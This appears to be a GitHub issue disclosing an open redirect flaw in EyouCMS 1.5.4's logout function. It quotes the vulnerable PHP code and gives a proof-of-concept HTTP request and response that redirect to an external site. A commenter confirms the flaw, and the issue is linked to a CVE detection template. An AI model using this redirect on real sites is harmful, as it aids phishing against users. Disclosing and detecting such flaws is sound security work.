New issue

Jump to bottom

There is Open redirect vulnerability in param "referurl" of Logout function #17

Open KietNA-HPT opened this issue on Aug 21, 2021 · 1 comment

KietNA-HPT commented on Aug 21, 2021 • edited

#Author: KietNA from 1nv1cta team, HPT CyberSecurity Center

#Submit date: 20/08/2021
#Target: https://www.eyoucms.com/
#Version: 1.5.4 (https://github.com/eyoucms/eyoucms/releases/tag/v1.5.4)
#Description: Logout function accepts a user-controlled input that specifies a link to an external site, and uses that link in a Redirect. This simplifies phishing attacks.

```php
public function logout()
{
    session('users_id', null);
    session('users', null);
    cookie('users_id', null);

    // 跳转链接
    $referurl = input('param.referurl/s');
    if (empty($referurl)) {
        $referurl = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ROOT_DIR . '/';
    }

    // 开启微站点模式，强制退出到网站首页
    if (!empty($this->usersConfig['shop_micro']) && 1 == $this->usersConfig['shop_micro']) {
        $referurl = ROOT_DIR . '/';
    }

    $this->redirect($referurl);
}
```

#PoC:

Requests:

```
GET /index.php?m=user&c=Users&a=logout&referurl=https://google.com HTTP/1.1
Host: 172.16.0.12:3333
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PortalOpenEMR=BKEx0ZLJ9X41gReq-UHNt-aC0jHNPiQLUOf7FXckqCAumudg; OpenEMR=UwreHaTw9iqwJWXqAY3%2CWYkZgvA3wdVmymdC5QqiVC1H2scM; loader=loaded; admin_lang=cn; home_lang=cn;
workspaceParam=index%7CArchives; referurl=%2Findex.php%3Fm%3Duser%26c%3DUsers%26a%3Dcentre;
ENV_GOBACK_URL=%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26typeid%3D24%26lang%3Dcn;
ENV_LIST_URL=%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26lang%3Dcn; ENV_IS_UPHTML=0; PHPSESSID=g0e80krlrkdep97u55tu3d2tj2
Upgrade-Insecure-Requests: 1



### Response:
HTTP/1.1 302 Found
Date: Sat, 21 Aug 2021 15:17:05 GMT
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/7.3.29
X-Powered-By: PHP/7.3.29
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache,must-revalidate
Pragma: no-cache
Set-Cookie: users_id=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/
Set-Cookie: users_id=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/
Location: https://google.com
Content-Length: 0
Connection: close
Content-Type: text/html; charset=utf-8```
```

👍 1

sqrtZeroKnowled... commented on Sep 7, 2021

I confirm it's valid vulenrability.

Akokonunes mentioned this issue on Jan 7

Create CVE-2021-39501.yaml projectdiscovery/nuclei-templates#3501

Merged

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants